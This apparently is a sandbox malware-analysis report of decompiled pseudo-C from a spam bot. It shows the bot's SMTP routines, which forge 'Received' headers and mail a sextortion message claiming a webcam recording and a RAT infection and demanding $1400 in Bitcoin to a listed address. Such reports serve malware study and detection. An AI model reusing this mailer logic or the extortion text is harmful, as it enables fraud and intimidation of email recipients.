											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E00EA1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00EA1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00EA1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00EA1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00EA1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00EA1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
														if(__eax != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
															if(__eax != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00EA1320(__ecx, 6, __ecx) = E00EA1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00EA1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		__eax = E00EA1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		if(__eax != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff); // executed
																			if(__eax != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t200 - 8) = 0 |  *(_t200 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t200 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t200 - 0x1c)));
					return  *(_t200 - 8);
				}
			}

0x00ea1bb6
0x00ea1bb6
0x00ea1bb6
0x00ea1bc6
0x00ea1beb
0x00ea1c03
0x00ea1c08
0x00ea1c0d
0x00ea1c1b
0x00ea1c0f
0x00ea1c0f
0x00ea1c0f
0x00000000
0x00ea220c
0x00ea1ab4
0x00ea1ab9
0x00ea1abc
0x00ea1ac9
0x00ea1ad0
0x00ea1ad6
0x00ea1ae5
0x00ea1aea
0x00ea1aef
0x00ea1af6
0x00ea1af9
0x00ea1b08
0x00ea1b15
0x00000000
0x00000000
0x00ea1b1b
0x00ea1b21
0x00000000
0x00ea1b28
0x00ea1b28
0x00ea1b3c
0x00ea1b71
0x00ea1b77
0x00ea1b7a
0x00ea1b3e
0x00ea1b4f
0x00ea1b55
0x00ea1b58
0x00ea1b58
0x00ea1b92
0x00ea1b97
0x00ea1b9c
0x00ea1baa
0x00ea1b9e
0x00ea1b9e
0x00ea1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1c27
0x00ea1c27
0x00ea1c37
0x00ea1c3d
0x00ea1c40
0x00ea1c46
0x00ea1c4d
0x00ea1c58
0x00ea1c62
0x00ea1c70
0x00ea1c64
0x00ea1c64
0x00ea1c64
0x00000000
0x00000000
0x00ea1c7c
0x00ea1c83
0x00ea1c87
0x00ea1c91
0x00ea1c9f
0x00ea1c93
0x00ea1c93
0x00ea1c93
0x00000000
0x00000000
0x00ea1cab
0x00ea1cab
0x00ea1cc9
0x00ea1ccf
0x00ea1cdd
0x00ea1cea
0x00ea1cf2
0x00ea1cfb
0x00ea1d0a
0x00ea1d11
0x00ea1d16
0x00ea1d17
0x00ea1d1c
0x00ea1d1c
0x00ea1d22
0x00ea1d27
0x00ea1d28
0x00ea1d2d
0x00ea1d2d
0x00ea1d33
0x00ea1d38
0x00ea1d39
0x00ea1d3e
0x00ea1d3e
0x00ea1d44
0x00ea1d49
0x00ea1d4a
0x00ea1d4f
0x00ea1d6c
0x00ea1d73
0x00ea1d79
0x00ea1d7c
0x00ea1d82
0x00ea1d90
0x00ea1d94
0x00ea1d9e
0x00ea1dac
0x00ea1dc5
0x00ea1dce
0x00ea1ddc
0x00ea1de3
0x00ea1de9
0x00ea1dec
0x00ea1df9
0x00ea1e00
0x00ea1e04
0x00ea1e0e
0x00ea1e25
0x00ea1e2c
0x00ea1e32
0x00ea1e35
0x00ea1e3b
0x00ea1e49
0x00ea1e4d
0x00ea1e57
0x00ea1e65
0x00ea1e75
0x00ea1e7b
0x00ea1e7e
0x00ea1e84
0x00ea1e8b
0x00ea1ea0
0x00ea1eb8
0x00ea1ebf
0x00ea1ec5
0x00ea1ec8
0x00ea1ece
0x00ea1edc
0x00ea1ee0
0x00ea1eea
0x00ea1ef8
0x00ea1f0b
0x00ea1f11
0x00ea1f14
0x00ea1f1a
0x00ea1f21
0x00ea1f2c
0x00ea1f36
0x00ea1f44
0x00ea1f4b
0x00ea1f66
0x00ea1f74
0x00ea1f7b
0x00ea1f81
0x00ea1f84
0x00ea1f8a
0x00ea1f98
0x00ea1f9c
0x00ea1fa6
0x00ea1fbb
0x00ea1fc9
0x00ea1fe2
0x00ea1fec
0x00ea2008
0x00ea2015
0x00ea2030
0x00ea2044
0x00ea2051
0x00ea2080
0x00ea208d
0x00ea20bc
0x00ea20c9
0x00ea20e1
0x00ea20e5
0x00ea20ef
0x00ea2104
0x00ea211f
0x00ea2133
0x00ea2140
0x00ea216f
0x00ea217c
0x00ea21ab
0x00ea21b8
0x00ea21d0
0x00ea21de
0x00ea21e9
0x00ea21e0
0x00ea21e0
0x00ea21e0
0x00ea20f1
0x00ea20f1
0x00ea20f1
0x00ea1fee
0x00ea1fee
0x00ea1fee
0x00ea1fcb
0x00ea1fcb
0x00ea1fcb
0x00ea1fa8
0x00ea1fa8
0x00ea1fa8
0x00ea1f38
0x00ea1f38
0x00ea1f38
0x00ea1eec
0x00ea1eec
0x00ea1eec
0x00ea1ea2
0x00ea1ea2
0x00ea1ea2
0x00ea1e59
0x00ea1e59
0x00ea1e59
0x00ea1e10
0x00ea1e10
0x00ea1e10
0x00ea1da0
0x00ea1da0
0x00ea1da0
0x00000000
0x00000000
0x00ea21f2
0x00ea21f9
0x00ea21fd
0x00ea2205
0x00000000
0x00000000
0x00ea1af1
0x00000000
0x00ea1af1
0x00ea1acb
0x00000000
0x00ea1acb
0x00ea1ac9
0x00ea2211
0x00ea221a
0x00ea2223
0x00ea222d
0x00ea2239
0x00ea2239

APIs

wsprintfA.USER32 ref: 00EA1BC6
wsprintfA.USER32 ref: 00EA1BE2

Part of subcall function 00EA1120: lstrlenA.KERNEL32(?), ref: 00EA112D
Part of subcall function 00EA1120: send.WS2_32(?,?,000000FF,00000000), ref: 00EA1144

shutdown.WS2_32(000000FF,00000002), ref: 00EA2223
closesocket.WS2_32(000000FF), ref: 00EA222D

Strings

MAIL FROM: %s, xrefs: 00EA1BD6
<%s>, xrefs: 00EA1BBA

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: wsprintf$closesocketlstrlensendshutdown
String ID: <%s>$MAIL FROM: %s
API String ID: 1146405-791590210
Opcode ID: 6c29da4d9a09a75734d7eaf6c7db3c36c01a961ce452d790e3a560a57cb0d651
Instruction ID: a645a7f32d1b0510a5e04066b88d511afa4332a546ac6c66fafa1088e010f5c2
Opcode Fuzzy Hash: 6c29da4d9a09a75734d7eaf6c7db3c36c01a961ce452d790e3a560a57cb0d651
Instruction Fuzzy Hash: 42212EF5D002189FCF10CB94DC45BEEB778BB9D308F0051A9E609BB191E7746998CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 31%

			E00EA1760() {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _t12;
				intOrPtr _t14;

				_v8 = 0;
				_push(0);
				_t12 =  &_v8;
				_push(_t12);
				_push(0);
				_push(0);
				_push(0xf);
				_push("yahoo.com"); // executed
				L00EA307A(); // executed
				_v12 = _t12;
				if(_v12 != 0) {
					L3:
					_push(1);
					_push(_v8);
					L00EA3074();
					return 0;
				}
				_t14 = E00EA16E0( *((intOrPtr*)(_v8 + 0x18)), 0x19); // executed
				_v16 = _t14;
				if(_v16 <= 0) {
					goto L3;
				}
				L00EA3074();
				__imp__#3(_v16, _v8, 1); // executed
				return 1;
			}

0x00ea1766
0x00ea176d
0x00ea176f
0x00ea1772
0x00ea1773
0x00ea1775
0x00ea1777
0x00ea1779
0x00ea177e
0x00ea1783
0x00ea178a
0x00ea17bf
0x00ea17bf
0x00ea17c4
0x00ea17c5
0x00000000
0x00ea17ca
0x00ea1795
0x00ea179d
0x00ea17a4
0x00000000
0x00000000
0x00ea17ac
0x00ea17b5
0x00000000

APIs

DnsQuery_A.DNSAPI(yahoo.com,0000000F,00000000,00000000,00000000,00000000), ref: 00EA177E
DnsFree.DNSAPI(00000000,00000001), ref: 00EA17AC
closesocket.WS2_32(00000000), ref: 00EA17B5
DnsFree.DNSAPI(00000000,00000001), ref: 00EA17C5

Strings

yahoo.com, xrefs: 00EA1779

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: Free$Query_closesocket
String ID: yahoo.com
API String ID: 1946217314-667638125
Opcode ID: 3f090dcd194f212610e15479bf9e250604685d034834d98d428b28e588249bcf
Instruction ID: 9ab2297993142ee8c6ef45f13600b5f993800356762653d90c153f77752fc326
Opcode Fuzzy Hash: 3f090dcd194f212610e15479bf9e250604685d034834d98d428b28e588249bcf
Instruction Fuzzy Hash: AC016D74E40208FBDB10EBE0C886B9DB7B89B4AB04F206195F600BF2C1D6B5BB459B50

Uniqueness

Uniqueness Score: -1.00%

Function 00EA19E0 Relevance: 7.6, APIs: 5, Instructions: 99
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00EA19E0(int _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v28;
				char* _v32;
				int _v36;
				char _v140;
				char _v144;
				intOrPtr _v148;
				char _v1172;
				int _v1176;
				int _v1180;
				int _v1184;
				char _v1292;
				char _v1556;
				char _v1568;
				char _v1580;
				char _v1684;
				char _v1696;
				char _v1708;
				char _v1812;
				int _v1816;
				signed int _v1820;
				intOrPtr _t183;
				char* _t186;
				intOrPtr _t190;
				void* _t191;
				void* _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				void* _t222;

				_v12 = 0;
				_t183 = E00EA2260(_a4, 0x40);
				_t220 = _t219 + 8;
				_v8 = _t183;
				if(_v8 == 0) {
					L57:
					return _v12;
				}
				_v8 = _v8 + 1;
				_t186 = E00EA10A0(_v8,  &_v28); // executed
				_t221 = _t220 + 8;
				if(_t186 == 0) {
					goto L57;
				}
				__imp__#23(2, 1, 6); // executed
				_v32 = _t186;
				if(_v32 == 0xffffffff || _v32 == 0xffffffff) {
					goto L57;
				} else {
					__imp__#4(_v32,  &_v28, 0x10); // executed
					if(_t186 == 0xffffffff) {
						L56:
						__imp__#22(_v32, 2); // executed
						__imp__#3(_v32);
						goto L57;
					} else {
						_v144 = 1;
						__imp__#21(_v32, 6, 1,  &_v144, 4); // executed
						_v36 = 1;
						while(_v36 != 0 && _v36 != 8) {
							_t190 = E00EA1160(_v32,  &_v1172, 0x400); // executed
							_t222 = _t221 + 0xc;
							_v148 = _t190;
							if(_v148 != 0) {
								 *((char*)(_t218 + _v148 - 0x490)) = 0;
								_t191 = E00EA11C0( &_v1172);
								_t221 = _t222 + 4;
								if(_t191 != 0) {
									_v1820 = _v36;
									_v1820 = _v1820 - 1;
									if(_v1820 > 6) {
										L54:
										continue;
									}
									switch( *((intOrPtr*)(_v1820 * 4 +  &M00EA223C))) {
										case 0:
											_push("ESMTP");
											if(StrStrA( &_v1172) == 0) {
												_t195 = wsprintfA( &_v1172, "HELO %s\r\n", "[102.129.143.99]");
												_t223 = _t221 + 0xc;
												_v1176 = _t195;
											} else {
												_t198 = wsprintfA( &_v1172, "EHLO %s\r\n", "[102.129.143.99]");
												_t223 = _t221 + 0xc;
												_v1176 = _t198;
											}
											_t197 = E00EA1120(_v32,  &_v1172, _v1176); // executed
											_t221 = _t223 + 0xc;
											if(_t197 != 0) {
												_v36 = 3;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 1:
											goto L54;
										case 2:
											__eax = _a4;
											__ecx =  &_v140;
											__eax = wsprintfA( &_v140, "<%s>", _a4);
											__esp = __esp + 0xc;
											__eax =  &_v1172;
											__eax = wsprintfA( &_v1172, "MAIL FROM: %s\r\n",  &_v140);
											__esp = __esp + 0xc;
											_v1180 = __eax;
											__ecx = _v1180;
											__eax = _v32;
											__eax = E00EA1120(_v32,  &_v1172, _v1180); // executed
											if(__eax != 0) {
												_v36 = 4;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 3:
											__ecx = _a4;
											__eax = wsprintfA( &_v1172, "RCPT TO: <%s>\r\n", _a4);
											__esp = __esp + 0xc;
											_v1184 = __eax;
											__eax = _v1184;
											__ecx =  &_v1172;
											__eax = E00EA1120(_v32,  &_v1172, _v1184); // executed
											if(__eax != 0) {
												_v36 = 5;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 4:
											__eax = _v32;
											__eax = E00EA1120(_v32, "DATA\r\n", 0xffffffff); // executed
											if(__eax != 0) {
												_v36 = 6;
											} else {
												_v36 = 0;
											}
											goto L54;
										case 5:
											__ecx =  &_v1568;
											E00EA1320( &_v1568, 5,  &_v1568) = wsprintfA( &_v1292, "%s.com", __eax);
											__esp = __esp + 0xc;
											 &_v1812 = E00EA1490(0,  &_v1812, 1); // executed
											Sleep(0x7d0); // executed
											__ecx =  &_v1684;
											__eax = E00EA1490(0,  &_v1684, 0); // executed
											__eax =  &_v1292;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t74 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t78 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xfe;
											_t82 = __eax % 0xfe;
											__eax = __eax / 0xfe;
											__eax = rand();
											asm("cdq");
											__ecx = 0xd2;
											_t86 = __eax % 0xd2;
											E00EA1390(0xd2, 7,  &_v1708) =  &_v1172;
											__eax = wsprintfA( &_v1172, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n",  &_v1172, _t86 + 1, _t82 + 1, _t78 + 1, _t74 + 1,  &_v1292,  &_v1684);
											__esp = __esp + 0x24;
											_v1816 = __eax;
											__ecx = _v1816;
											__eax = _v32;
											__eax = E00EA1120(_v32,  &_v1172, _v1816); // executed
											if(__eax != 0) {
												__ecx =  &_v1812;
												E00EA1320(__ecx, 3,  &_v1580) =  &_v1696;
												__eax = E00EA1320(__ecx, 5,  &_v1696);
												__ecx =  &_v1172;
												__eax = wsprintfA( &_v1172, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax,  &_v1172);
												__esp = __esp + 0x14;
												_v1816 = __eax;
												__eax =  &_v1172;
												__ecx = _v32;
												__eax = E00EA1120(_v32,  &_v1172, _v1816); // executed
												if(__eax != 0) {
													__eax =  &_v1172;
													__eax = wsprintfA( &_v1172, "From: %s\r\n", _a4);
													__esp = __esp + 0xc;
													_v1816 = __eax;
													__ecx = _v1816;
													__eax = _v32;
													__eax = E00EA1120(_v32,  &_v1172, _v1816); // executed
													if(__eax != 0) {
														__ecx = _a4;
														__eax = wsprintfA( &_v1172, "To: %s\r\n", _a4);
														__esp = __esp + 0xc;
														_v1816 = __eax;
														__eax = _v1816;
														__ecx =  &_v1172;
														if(E00EA1120(_v32,  &_v1172, _v1816) != 0) {
															__eax =  &_v1172;
															__eax = wsprintfA( &_v1172, "Subject: %s\r\n", "I RECORDED YOU!");
															__esp = __esp + 0xc;
															_v1816 = __eax;
															__ecx = _v1816;
															__eax = _v32;
															__eax = E00EA1120(_v32,  &_v1172, _v1816); // executed
															if(__eax != 0) {
																__ecx =  &_v1684;
																__eax = wsprintfA( &_v1172, "Date: %s\r\n",  &_v1684);
																__esp = __esp + 0xc;
																_v1816 = __eax;
																__eax = _v1816;
																__ecx =  &_v1172;
																__eax = E00EA1120(_v32,  &_v1172, _v1816); // executed
																if(__eax != 0) {
																	__eax =  &_v1292;
																	__ecx =  &_v1580;
																	E00EA1320(__ecx, 6, __ecx) = E00EA1320(__ecx, 6,  &_v1696);
																	__eax =  &_v1172;
																	__eax = wsprintfA( &_v1172, "Message-ID: <%s.%s@%s>\r\n",  &_v1172,  &_v1172,  &_v1292);
																	__esp = __esp + 0x14;
																	_v1816 = __eax;
																	__ecx = _v1816;
																	__eax = _v32;
																	__eax = E00EA1120(_v32,  &_v1172, _v1816); // executed
																	if(__eax != 0) {
																		__ecx = _v32;
																		if(E00EA1120(_v32, "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																			__eax = E00EA1120(_v32, "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																			if(__eax != 0) {
																				 &_v1556 = memset( &_v1556, 0, 0x104);
																				__ecx =  &_v1556;
																				strcpy( &_v1556, "Hello there!\r\n\r\n") = strcat( &_v1556, "Unfortunately, there are some bad news for you.\r\n\r\n");
																				 &_v1556 = strcat( &_v1556, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																				__ecx =  &_v1556;
																				 &_v1556 = strcat( &_v1556, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																				__ecx =  &_v1556;
																				 &_v1556 = strcat( &_v1556, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																				__ecx =  &_v1556;
																				strcat( &_v1556, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") = _v32;
																				__eax = E00EA1120(_v32,  &_v1556, 0xffffffff); // executed
																				if(__eax != 0) {
																					__ecx =  &_v1556;
																					memset( &_v1556, 0, 0x104) = strcpy( &_v1556, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																					 &_v1556 = strcat( &_v1556, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																					__ecx =  &_v1556;
																					 &_v1556 = strcat( &_v1556, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																					__ecx =  &_v1556;
																					 &_v1556 = strcat( &_v1556, "Everything will be carried out based on fairness!\r\n\r\n");
																					__ecx =  &_v1556;
																					strcat( &_v1556, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") = _v32;
																					if(E00EA1120(_v32,  &_v1556, 0xffffffff) != 0) {
																						_v36 = 7;
																					} else {
																						_v36 = 0;
																					}
																				} else {
																					_v36 = 0;
																				}
																			} else {
																				_v36 = 0;
																			}
																		} else {
																			_v36 = 0;
																		}
																	} else {
																		_v36 = 0;
																	}
																} else {
																	_v36 = 0;
																}
															} else {
																_v36 = 0;
															}
														} else {
															_v36 = 0;
														}
													} else {
														_v36 = 0;
													}
												} else {
													_v36 = 0;
												}
											} else {
												_v36 = 0;
											}
											goto L54;
										case 6:
											__ecx = _v32;
											__eax = E00EA1120(_v32, "QUIT", 0xffffffff); // executed
											_v36 = 8;
											goto L54;
									}
								} else {
									break;
								}
							} else {
								break;
							}
						}
						_v12 = 0 | _v36 == 0x00000008;
						goto L56;
					}
				}
			}

0x00ea19e9
0x00ea19f6
0x00ea19fb
0x00ea19fe
0x00ea1a05
0x00ea2233
0x00ea2239
0x00ea2239
0x00ea1a11
0x00ea1a1c
0x00ea1a21
0x00ea1a26
0x00000000
0x00000000
0x00ea1a32
0x00ea1a38
0x00ea1a3f
0x00000000
0x00ea1a4f
0x00ea1a59
0x00ea1a62
0x00ea221d
0x00ea2223
0x00ea222d
0x00000000
0x00ea1a68
0x00ea1a68
0x00ea1a83
0x00ea1a89
0x00ea1a90
0x00ea1ab4
0x00ea1ab9
0x00ea1abc
0x00ea1ac9
0x00ea1ad6
0x00ea1ae5
0x00ea1aea
0x00ea1aef
0x00ea1af9
0x00ea1b08
0x00ea1b15
0x00ea220c
0x00000000
0x00ea220c
0x00ea1b21
0x00000000
0x00ea1b28
0x00ea1b3c
0x00ea1b71
0x00ea1b77
0x00ea1b7a
0x00ea1b3e
0x00ea1b4f
0x00ea1b55
0x00ea1b58
0x00ea1b58
0x00ea1b92
0x00ea1b97
0x00ea1b9c
0x00ea1baa
0x00ea1b9e
0x00ea1b9e
0x00ea1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1bb6
0x00ea1bbf
0x00ea1bc6
0x00ea1bcc
0x00ea1bdb
0x00ea1be2
0x00ea1be8
0x00ea1beb
0x00ea1bf1
0x00ea1bff
0x00ea1c03
0x00ea1c0d
0x00ea1c1b
0x00ea1c0f
0x00ea1c0f
0x00ea1c0f
0x00000000
0x00000000
0x00ea1c27
0x00ea1c37
0x00ea1c3d
0x00ea1c40
0x00ea1c46
0x00ea1c4d
0x00ea1c58
0x00ea1c62
0x00ea1c70
0x00ea1c64
0x00ea1c64
0x00ea1c64
0x00000000
0x00000000
0x00ea1c83
0x00ea1c87
0x00ea1c91
0x00ea1c9f
0x00ea1c93
0x00ea1c93
0x00ea1c93
0x00000000
0x00000000
0x00ea1cab
0x00ea1cc9
0x00ea1ccf
0x00ea1cdd
0x00ea1cea
0x00ea1cf2
0x00ea1cfb
0x00ea1d0a
0x00ea1d11
0x00ea1d16
0x00ea1d17
0x00ea1d1c
0x00ea1d1c
0x00ea1d22
0x00ea1d27
0x00ea1d28
0x00ea1d2d
0x00ea1d2d
0x00ea1d33
0x00ea1d38
0x00ea1d39
0x00ea1d3e
0x00ea1d3e
0x00ea1d44
0x00ea1d49
0x00ea1d4a
0x00ea1d4f
0x00ea1d6c
0x00ea1d73
0x00ea1d79
0x00ea1d7c
0x00ea1d82
0x00ea1d90
0x00ea1d94
0x00ea1d9e
0x00ea1dac
0x00ea1dc5
0x00ea1dce
0x00ea1ddc
0x00ea1de3
0x00ea1de9
0x00ea1dec
0x00ea1df9
0x00ea1e00
0x00ea1e04
0x00ea1e0e
0x00ea1e25
0x00ea1e2c
0x00ea1e32
0x00ea1e35
0x00ea1e3b
0x00ea1e49
0x00ea1e4d
0x00ea1e57
0x00ea1e65
0x00ea1e75
0x00ea1e7b
0x00ea1e7e
0x00ea1e84
0x00ea1e8b
